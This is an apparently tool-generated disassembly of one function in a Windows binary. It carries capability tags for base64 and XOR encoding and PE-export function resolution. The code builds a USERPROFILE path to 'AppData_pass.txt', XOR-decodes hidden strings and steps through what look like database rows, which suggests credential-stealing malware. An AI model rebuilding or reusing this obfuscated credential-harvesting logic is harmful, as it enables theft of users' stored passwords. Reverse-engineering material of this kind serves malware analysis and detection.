Function at 0x1400024d0
Capabilities:
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x688
movaps xmmword [rsp + 0x670], xmm6
mov qword [rsp + 0x260], rcx
lea rsi, [rsp + 0xf0]
mov rcx, rsi
call fcn.14001fed0
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.140020390
mov rax, qword [rsp + 0x30]
movabs r15, 0x8000000000000000
cmp rax, r15
jne 0x1400052a8
mov rdx, qword [rsp + 0xf0]
test rdx, rdx
je 0x140002548
mov rcx, qword [rsp + 0xf8]
mov r8d, 1
call fcn.140022710
mov qword [rsp + 0x3d8], 0
mov qword [rsp + 0x3e0], 8
mov qword [rsp + 0x3e8], 0
lea rdx, str.USERPROFILE
lea rcx, [rsp + 0x30]
mov r8d, 0xb
call fcn.140124140
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x30], rax
jne 0x14000697b
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x330], rax
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov qword [rsp + 0x20], 7
lea r9, str.AppData_pass.txt
lea rcx, [rsp + 0x560]
mov qword [rsp + 0x418], rdx
call fcn.1401298c0
lea r13, [rsp + 0xf0]
mov rcx, r13
call fcn.1400069f0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x428], rax
mov rdx, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
lea rcx, [rax + rax*2]
lea r12, [rdx + rcx*8]
mov rbp, rdx
test rax, rax
mov qword [rsp + 0x410], rdx
je 0x140003972
xorps xmm6, xmm6
mov rax, rdx
mov qword [rsp + 0x340], r12
jmp 0x14000263c
mov rax, rbp
cmp rbp, r12
je 0x1400039c3
lea rbp, [rax + 0x18]
mov rsi, qword [rax]
cmp rsi, r15
je 0x140003972
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
lea rcx, [rsp + 0x560]
call fcn.140130760
mov r8, rdx
mov qword [rsp + 0x20], rdi
lea rdi, [rsp + 0x380]
mov rcx, rdi
mov rdx, rax
mov r9, rbx
call fcn.1401298c0
test rsi, rsi
je 0x140002695
mov r8d, 1
mov rcx, rbx
mov rdx, rsi
call fcn.140022710
mov r14, qword [rsp + 0x388]
mov rsi, qword [rsp + 0x390]
test rsi, rsi
je 0x1400026e0
js 0x140006524
movzx eax, byte [0x14034bf01]
mov edi, 1
mov edx, 1
mov rcx, rsi
call fcn.140022700
test rax, rax
je 0x140006526
mov rbx, rax
lea rdi, [rsp + 0x380]
jmp 0x1400026e5
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0x100], rsi
movzx eax, byte [rsp + 0x398]
mov byte [rsp + 0x108], al
lea rcx, [rsp + 0x2c8]
mov rdx, r13
call fcn.140008b30
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x2e8], 1
mov qword [rsp + 0x2f0], 0
mov rcx, rdi
call fcn.140130760
mov r8, rdx
mov rcx, r13
mov rdx, rax
call fcn.14012e1c0
cmp dword [rsp + 0xf0], 2
jne 0x1400027d0
mov rsi, qword [rsp + 0xf8]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x140003929
mov rbx, qword [rsi - 1]
mov rdi, qword [rsi + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140002799
mov rcx, rbx
call rax
mov rdx, qword [rdi + 8]
test rdx, rdx
je 0x1400027ae
mov r8, qword [rdi + 0x10]
mov rcx, rbx
call fcn.140022710
dec rsi
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
jmp 0x140003924
lea rsi, [rsp + 0x350]
mov rcx, rsi
mov rdx, rdi
call fcn.140008200
lea rcx, [rsp + 0x2f8]
mov rdx, rsi
call fcn.140008680
mov rcx, rsi
call fcn.140130760
mov rsi, rax
mov r14, rdx
lea rax, [0x140286ece]
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0xf0]
movabs rax, 0x824d6ffd7dd52394
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
call fcn.140014e00
mov rcx, qword [rax]
movabs rdx, 0x8dc7dc62e93d7b0c
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0xa7
xor r8b, 0x4f
xor dl, 0x3f
mov qword [rsp + 0xf0], rcx
mov byte [rsp + 0xf8], al
mov byte [rsp + 0xf9], r8b
mov byte [rsp + 0xfa], dl
mov qword [rsp + 0x20], 0xb
lea rdi, [rsp + 0x430]
mov rcx, rdi
mov rdx, rsi
mov r8, r14
mov r9, r13
call fcn.1401298c0
mov rcx, rdi
call fcn.140130760
mov r8, rdx
mov rcx, r13
mov rdx, rax
call fcn.14012e1c0
cmp dword [rsp + 0xf0], 2
lea rbx, [rsp + 0x3a0]
jne 0x140002920
mov rsi, qword [rsp + 0xf8]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x14000293e
mov rbx, qword [rsi - 1]
mov rdi, qword [rsi + 7]
mov rax, qword [rdi]
test rax, rax
je 0x1400028ee
mov rcx, rbx
call rax
mov rdx, qword [rdi + 8]
test rdx, rdx
je 0x140002903
mov r8, qword [rdi + 0x10]
mov rcx, rbx
call fcn.140022710
dec rsi
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call fcn.140022710
jmp 0x14000293e
mov rcx, r13
mov rdx, rdi
call fcn.14001e6b0
cmp qword [rsp + 0xf0], r15
lea r14, [rsp + 0x30]
jne 0x1400029d7
mov rdx, qword [rsp + 0x430]
test rdx, rdx
je 0x14000295e
mov rcx, qword [rsp + 0x438]
mov r8d, 1
call fcn.140022710
mov rsi, qword [rsp + 0x300]
mov rdi, qword [rsp + 0x308]
test rdi, rdi
je 0x1400029b0
lea rbx, [rsi + 8]
jmp 0x140002989
add rbx, 0x18
dec rdi
je 0x1400029b0
mov rdx, qword [rbx - 8]
test rdx, rdx
je 0x140002980
mov rcx, qword [rbx]
mov r8d, 1
call fcn.140022710
jmp 0x140002980
mov rax, qword [rsp + 0x2f8]
test rax, rax
je 0x140003909
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, rsi
jmp 0x140003904
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x3d0], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x3c0], xmm0
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x338], rax
mov rdi, qword [rsp + 0x300]
mov rax, qword [rsp + 0x308]
lea rcx, [rax + rax*2]
lea rcx, [rdi + rcx*8]
mov qword [rsp + 0x268], rcx
mov qword [rsp + 0x420], rdi
test rax, rax
jne 0x140002aae
mov r8, qword [rsp + 0x268]
mov rax, r8
sub rax, rdi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r8, rdi
je 0x1400037c0
mov rsi, rdx
shr rsi, 4
add rdi, 8
jmp 0x140002a7d
add rdi, 0x18
dec rsi
je 0x1400037c0
mov rdx, qword [rdi - 8]
test rdx, rdx
je 0x140002a70
mov rcx, qword [rdi]
mov r8d, 1
call fcn.140022710
jmp 0x140002a70
cmp rdi, qword [rsp + 0x268]
je 0x1400037c0
mov rax, qword [rdi]
movups xmm0, xmmword [rdi + 8]
add rdi, 0x18
movaps xmmword [rsp + 0x580], xmm0
cmp rax, r15
je 0x140002a34
mov qword [rsp + 0x2b0], rax
movaps xmm0, xmmword [rsp + 0x580]
lea rax, [rsp + 0x2b8]
movups xmmword [rax], xmm0
mov rcx, r13
lea rdx, [rsp + 0x2b0]
call fcn.14013ae80
lea rsi, [rsp + 0x450]
mov rcx, rsi
lea rdx, [rsp + 0x350]
mov r8, r13
call fcn.140008450
mov rcx, rsi
call fcn.140130760
mov rsi, rax
mov r14, rdx
lea rax, [0x14028379b]
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0xf0]
movabs rax, 0x3fec713189cce4ee
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
call fcn.1400151b0
mov rcx, qword [rax]
movabs rdx, 0x9c24ba51dfea7c40
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0x26
shr eax, 8
xor al, 0x63
mov qword [rsp + 0xf0], rcx
mov byte [rsp + 0xf8], dl
mov byte [rsp + 0xf9], al
mov qword [rsp + 0x20], 0xa
mov rcx, rbx
mov rdx, rsi
mov r8, r14
mov r9, r13
call fcn.1401298c0
mov rcx, rbx
call fcn.140130760
mov r8, rdx
mov rcx, r13
mov rdx, rax
call fcn.14012e1c0
cmp dword [rsp + 0xf0], 2
jne 0x140002c20
mov rsi, qword [rsp + 0xf8]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x140003335
mov rbx, qword [rsi - 1]
mov r14, qword [rsi + 7]
mov rax, qword [r14]
test rax, rax
je 0x140002bed
mov rcx, rbx
call rax
mov rdx, qword [r14 + 8]
test rdx, rdx
je 0x140002c02
mov r8, qword [r14 + 0x10]
mov rcx, rbx
call fcn.140022710
dec rsi
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call fcn.140022710
jmp 0x14000332d
mov qword [rsp + 0x348], rdi
mov rcx, rbx
call fcn.140130760
mov r8, rdx
mov rcx, r13
mov rdx, rax
call fcn.140027420
movzx ebx, byte [rsp + 0xf0]
cmp bl, 0x13
jne 0x140006531
mov rsi, qword [rsp + 0xf8]
mov r14, qword [rsp + 0x100]
mov qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, rsi
mov r8, r14
mov r9d, 1
call fcn.140026a20
movzx edi, byte [rsp + 0xf0]
cmp dil, 0x13
jne 0x140002ce0
lea rcx, [rsp + 0xf8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x140291020]
movaps xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x38]
movups xmmword [rax + 8], xmm6
mov ecx, 0x10
xor edx, edx
lea r8, [0x140291000]
xor ebx, ebx
xor r13d, r13d
mov byte [rsi], 0
test r14, r14
jne 0x140002d29
jmp 0x140002d52
mov rbx, qword [rsp + 0xf0]
mov r8, qword [rsp + 0xf8]
mov r13, rbx
shr r13, 8
mov rdx, qword [rsp + 0x100]
lea rax, [rsp + 0xf8]
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
mov rcx, qword [rsp + 0x128]
mov byte [rsi], 0
test r14, r14
je 0x140002d52
mov r15, rbp
mov rbp, r8
mov r8d, 1
mov r12, rcx
mov rcx, rsi
mov rsi, rdx
mov rdx, r14
call fcn.140022710
mov r8, rbp
mov rbp, r15
mov rdx, rsi
mov rcx, r12
cmp dil, 0x13
jne 0x140006587
shl r13, 8
movzx eax, bl
or rax, r13
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x478], r8
mov qword [rsp + 0x480], rdx
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
lea rax, [rsp + 0x488]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x4a8], rcx
mov qword [rsp + 0x4b0], 0
mov rax, qword [rsp + 0xa0]
lea r14, [rsp + 0x4b8]
mov qword [r14 + 0x10], rax
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [r14], xmm0
lea rax, [0x1402857ba]
mov qword [rsp + 0xf0], rax
lea r13, [rsp + 0xf0]
mov rcx, qword [rsp + 0xf0]
movabs rax, 0x2b35c66e7c92c9c4
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
call fcn.140014d40
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov r10, qword [rax + 0x20]
mov r11, qword [rax + 0x28]
mov rsi, qword [rax + 0x30]
mov ebx, dword [rax + 0x38]
movzx eax, byte [rax + 0x3c]
movabs r15, 0x6ff95ed9293f6353
xor rcx, r15
mov qword [rsp + 0xf0], rcx
movabs rcx, 0xe2c78da0c069c5c8
xor rdx, rcx
mov qword [rsp + 0xf8], rdx
movabs rcx, 0xa16110ab7d030739
xor r8, rcx
mov qword [rsp + 0x100], r8
movabs rcx, 0x5d18fb9bedf21331
xor r9, rcx
mov qword [rsp + 0x108], r9
movabs rcx, 0xccdda4d60f1cef6e
xor r10, rcx
mov qword [rsp + 0x110], r10
movabs rcx, 0xf4b5d6a670ac4655
xor r11, rcx
mov qword [rsp + 0x118], r11
movabs rcx, 0x2793ba4082470356
xor rsi, rcx
mov qword [rsp + 0x120], rsi
mov ecx, 0x4ba9d78d
xor ebx, ecx
mov dword [rsp + 0x128], ebx
xor al, 1
mov byte [rsp + 0x12c], al
cmp qword [rsp + 0x4b0], 0
mov rdi, qword [rsp + 0x348]
jne 0x14000650c
mov qword [rsp + 0x4b0], 0xffffffffffffffff
mov qword [rsp + 0x20], 0x3d
lea rcx, [rsp + 0x598]
mov rdx, r14
lea rsi, [rsp + 0x470]
mov r8, rsi
mov r9, r13
call fcn.140027000
inc qword [rsp + 0x4b0]
mov rax, qword [rsp + 0x598]
test rax, rax
movabs r15, 0x8000000000000000
mov r12, qword [rsp + 0x340]
lea rbx, [rsp + 0x258]
lea rcx, [rsp + 0x5a0]
je 0x140003320
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
lea rcx, [rsp + 0x4d8]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0x4d0], rax
mov rcx, qword [rsp + 0x508]
call fcn.140173b00
test eax, eax
lea r14, [rsp + 0x30]
jne 0x140006820
lea rsi, [rsp + 0x4d0]
mov qword [rsp + 0x250], rsi
mov qword [rsp + 0x258], 0
jmp 0x140002fd1
mov rsi, qword [rsp + 0x250]
test rsi, rsi
je 0x1400033e5
mov rcx, qword [rsi + 0x38]
call fcn.1401745e0
cmp eax, 0x64
jne 0x1400033a3
mov qword [rsp + 0x258], rsi
mov rcx, r14
mov rdx, rbx
xor r8d, r8d
call fcn.14001d280
cmp byte [rsp + 0x30], 0x13
jne 0x1400064b1
lea rsi, [rsp + 0x38]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x280], rax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x270], xmm0
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call fcn.14001d280
cmp byte [rsp + 0x30], 0x13
jne 0x140006471
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x2a0], rax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x290], xmm0
mov r8d, 2
mov rcx, r14
mov rdx, rbx
call fcn.14001d510
cmp byte [rsp + 0x30], 0x13
jne 0x140006431
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x400], rax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x3f0], xmm0
lea rcx, [rsp + 0x310]
lea rdx, [rsp + 0x3f0]
lea r8, [rsp + 0x3c0]
call fcn.14001dbe0
mov rsi, qword [rsp + 0x318]
mov r14, qword [rsp + 0x320]
mov rcx, r13
mov rdx, rsi
mov r8, r14
call fcn.1401445e0
cmp qword [rsp + 0xf0], 0
je 0x140003110
mov rdx, qword [rsp + 0x310]
cmp rdx, r15
je 0x140003130
test rdx, rdx
je 0x1400030ec
mov r8d, 1
mov rcx, rsi
call fcn.140022710
mov rdx, qword [rsp + 0x290]
test rdx, rdx
lea r14, [rsp + 0x30]
jne 0x1400032c4
jmp 0x1400032d7
mov r14, rsi
mov rsi, qword [rsp + 0x310]
mov rax, qword [rsp + 0x320]
jmp 0x140003138
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x520], rsi
mov qword [rsp + 0x528], r14
mov qword [rsp + 0x530], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0xf0], rax
lea rax, [0x140002030]
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x290]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x520]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
lea rax, [0x1402912d0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 4
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 3
lea rcx, [rsp + 0x90]
lea rsi, [rsp + 0x30]
mov rdx, rsi
call fcn.140139dc0
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x100], rax
mov rcx, rsi
mov rdx, r13
call fcn.14013ae80
mov rsi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov rax, qword [rsp + 0x2e0]
mov rbx, qword [rsp + 0x2f0]
sub rax, rbx
cmp rax, r14
jb 0x140003300
mov rcx, qword [rsp + 0x2e8]
add rcx, rbx
mov rdx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rbx, r14
mov qword [rsp + 0x2f0], rbx
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x14000326a
mov r8d, 1
mov rcx, rsi
call fcn.140022710
mov rdx, qword [rsp + 0xf0]
test rdx, rdx
lea rbx, [rsp + 0x258]
lea r14, [rsp + 0x30]
je 0x140003297
mov rcx, qword [rsp + 0xf8]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x520]
test rdx, rdx
je 0x1400032b7
mov rcx, qword [rsp + 0x528]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x290]
test rdx, rdx
je 0x1400032d7
mov rcx, qword [rsp + 0x298]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x270]
test rdx, rdx
je 0x140002fc0
mov rcx, qword [rsp + 0x278]
mov r8d, 1
call fcn.140022710
jmp 0x140002fc0
lea rcx, [rsp + 0x2e0]
mov rdx, rbx
mov r8, r14
call fcn.1402864b0
mov rbx, qword [rsp + 0x2f0]
jmp 0x140003231
call fcn.140001310
mov rcx, rsi
call fcn.1400010b0
lea rbx, [rsp + 0x3a0]
mov rdx, qword [rsp + 0x3a0]
test rdx, rdx
je 0x140003355
mov rcx, qword [rsp + 0x3a8]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x450]
test rdx, rdx
lea r14, [rsp + 0x30]
je 0x14000337a
mov rcx, qword [rsp + 0x458]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x2b0]
test rdx, rdx
je 0x140002aa0
mov rcx, qword [rsp + 0x2b8]
mov r8d, 1
call fcn.140022710
jmp 0x140002aa0
cmp eax, 0x65
jne 0x1400060c2
mov qword [rsp + 0x250], 0
mov rcx, qword [rsi + 0x38]
call fcn.1401493b0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x258], 0
test rax, rax
je 0x1400033f1
mov rcx, qword [rax + 0x38]
call fcn.1401493b0
jmp 0x1400033f1
mov qword [rsp + 0x258], 0
movups xmm0, xmmword [rsp + 0x4d0]
movups xmm1, xmmword [rsp + 0x4e0]
movups xmm2, xmmword [rsp + 0x4f0]
movups xmm3, xmmword [rsp + 0x500]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
mov rax, qword [rsp + 0x510]
mov rcx, qword [rsp + 0x128]
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], 0
mov rbx, qword [rsp + 0xf0]
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0xf8], xmm6
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x108]
mov qword [rsp + 0x110], 0
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x118]
mov qword [rsp + 0x118], 0
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rax
call fcn.1401492c0
mov esi, eax
mov qword [rsp + 0x60], 0
mov rcx, r14
call fcn.140027110
lea rcx, [rsp + 0x38]
call fcn.14000e9e0
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x1400034e9
lock dec qword [rax]
jne 0x1400034e9
lea rcx, [rsp + 0x50]
call fcn.14000df60
mov rax, qword [rbx + 0x40]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140006500
lea rcx, [rax + 1]
mov qword [rbx + 0x40], rcx
test esi, esi
jne 0x140003773
mov byte [rsp + 0x90], 0x13
mov qword [rbx + 0x40], rax
mov rcx, qword [rsp + 0x128]
mov rax, qword [rsp + 0x130]
movups xmmword [rsp + 0x128], xmm6
mov rbx, qword [rsp + 0xf0]
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0xf8], xmm6
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x68], rax
call fcn.1401492c0
mov esi, eax
mov qword [rsp + 0x60], 0
mov rcx, r14
call fcn.140027110
lea rcx, [rsp + 0x38]
call fcn.14000e9e0
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x1400035b4
lock dec qword [rax]
jne 0x1400035b4
lea rcx, [rsp + 0x50]
call fcn.14000df60
mov rax, qword [rbx + 0x40]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140006500
lea rcx, [rax + 1]
mov qword [rbx + 0x40], rcx
test esi, esi
jne 0x140003793
mov qword [rbx + 0x40], rax
lea rcx, [rsp + 0xf8]
call fcn.140027110
lea rcx, [rsp + 0x100]
call fcn.14000e9e0
mov rax, qword [rsp + 0x118]
test rax, rax
lea rbx, [rsp + 0x3a0]
je 0x140003621
lock dec qword [rax]
jne 0x140003621
lea rcx, [rsp + 0x118]
call fcn.14000df60
cmp byte [rsp + 0x90], 0x13
jne 0x14000684a
movups xmm0, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rsp + 0x470]
movups xmm1, xmmword [rsp + 0x480]
movups xmm2, xmmword [rsp + 0x490]
movups xmm3, xmmword [rsp + 0x4a0]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x90]
call fcn.140002360
cmp qword [rsp + 0xd0], 0
jne 0x140006518
mov qword [rsp + 0xd0], 0xffffffffffffffff
lea rcx, [rsp + 0x520]
lea rdx, [rsp + 0xd8]
call fcn.140026e00
inc qword [rsp + 0xd0]
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
movzx eax, byte [rsp + 0x520]
cmp al, 0x13
jne 0x140006896
mov rcx, r14
call fcn.1400010b0
mov rdx, qword [rsp + 0x3a0]
test rdx, rdx
je 0x14000375d
mov rcx, qword [rsp + 0x3a8]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x450]
test rdx, rdx
jne 0x140003367
jmp 0x14000337a
mov rdx, qword [rbx + 0x50]
lea rcx, [rsp + 0x90]
mov r8d, esi
call fcn.140286610
mov rax, qword [rbx + 0x40]
dec rax
jmp 0x140003518
mov rdx, qword [rbx + 0x50]
mov rcx, r14
mov r8d, esi
call fcn.140286610
movzx eax, byte [rsp + 0x30]
dec qword [rbx + 0x40]
cmp al, 0x13
je 0x1400035df
mov rcx, r14
call fcn.140001310
jmp 0x1400035df
mov rax, qword [rsp + 0x338]
test rax, rax
je 0x1400037e8
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, qword [rsp + 0x420]
call fcn.140022710
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0x90], rax
lea rax, [0x140002030]
mov qword [rsp + 0x98], rax
lea rax, [0x140291218]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
mov qword [rsp + 0x110], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov rcx, r14
mov rdx, r13
call fcn.140139dc0
mov rax, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x38]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rsp + 0x2e0]
movups xmmword [rcx + 0x10], xmm0
mov rsi, qword [rsp + 0x3e8]
cmp rsi, qword [rsp + 0x3d8]
jne 0x140003891
lea rcx, [rsp + 0x3d8]
call fcn.14001abf0
mov rax, qword [rsp + 0x3e0]
lea rcx, [rsi + rsi*2]
shl rcx, 4
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmmword [rax + rcx + 0x20], xmm2
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rsi
mov qword [rsp + 0x3e8], rsi
mov rdx, qword [rsp + 0x3c0]
test rdx, rdx
je 0x1400038e9
mov rcx, qword [rsp + 0x3c8]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x430]
test rdx, rdx
je 0x140003909
mov rcx, qword [rsp + 0x438]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x350]
test rdx, rdx
je 0x140003929
mov rcx, qword [rsp + 0x358]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x2c8]
test rdx, rdx
je 0x140003949
mov rcx, qword [rsp + 0x2d0]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x380]
test rdx, rdx
je 0x140002630
mov rcx, qword [rsp + 0x388]
mov r8d, 1
call fcn.140022710
jmp 0x140002630
mov rax, r12
sub rax, rbp
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r12, rbp
je 0x1400039c3
mov rsi, rdx
shr rsi, 4
add rbp, 8
jmp 0x1400039a9
add rbp, 0x18
dec rsi
je 0x1400039c3
mov rdx, qword [rbp - 8]
test rdx, rdx
je 0x1400039a0
mov rcx, qword [rbp]
mov r8d, 1
call fcn.140022710
jmp 0x1400039a0
mov rax, qword [rsp + 0x428]
test rax, rax
je 0x1400039eb
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, qword [rsp + 0x410]
call fcn.140022710
mov rbx, qword [rsp + 0x3d8]
mov rsi, qword [rsp + 0x3e0]
mov rdi, qword [rsp + 0x3e8]
mov rdx, qword [rsp + 0x560]
test rdx, rdx
je 0x140003a23
mov rcx, qword [rsp + 0x568]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x330]
test rdx, rdx
je 0x140003a43
mov r8d, 1
mov rcx, qword [rsp + 0x418]
call fcn.140022710
lea r15, [rdi + rdi*2]
shl r15, 4
add r15, rsi
mov r14, rsi
test rdi, rdi
je 0x140003b31
mov rax, qword [rsp + 0x260]
lea rdi, [rax + 0x18]
lea r14, [rsi + 0x30]
jmp 0x140003ace
mov r8, qword [rsp + 0x260]
mov rax, qword [r8 + 0x20]
lea rcx, [rbp*2]
add rcx, rbp
shl rcx, 4
mov qword [rax + rcx], r13
movaps xmm0, xmmword [rsp + 0x600]
movaps xmm1, xmmword [rsp + 0x610]
movups xmmword [rax + rcx + 8], xmm0
movups xmmword [rax + rcx + 0x18], xmm1
mov rdx, qword [rsp + 0x620]
mov qword [rax + rcx + 0x28], rdx
inc rbp
mov qword [r8 + 0x28], rbp
add r14, 0x30
add r12, 0x30
cmp r12, r15
je 0x140003b9a
mov r13, qword [r14 - 0x30]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x140003b31
lea r12, [r14 - 0x30]
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x620], rax
movups xmm0, xmmword [r12 + 8]
movups xmm1, xmmword [r12 + 0x18]
movaps xmmword [rsp + 0x610], xmm1
movaps xmmword [rsp + 0x600], xmm0
mov rax, qword [rsp + 0x260]
mov rbp, qword [rax + 0x28]
cmp rbp, qword [rax + 0x18]
jne 0x140003a70
mov rcx, rdi
call fcn.14001abf0
jmp 0x140003a70
mov rax, r15
sub rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r15, r14
je 0x140003b9a
mov rdi, rdx
shr rdi, 5
add r14, 0x20
jmp 0x140003b69
add r14, 0x30
dec rdi
je 0x140003b9a
mov rdx, qword [r14 - 0x20]
test rdx, rdx
je 0x140003b81
mov rcx, qword [r14 - 0x18]
mov r8d, 1
call fcn.140022710
mov rdx, qword [r14 - 8]
test rdx, rdx
je 0x140003b60
mov rcx, qword [r14]
mov r8d, 1
call fcn.140022710
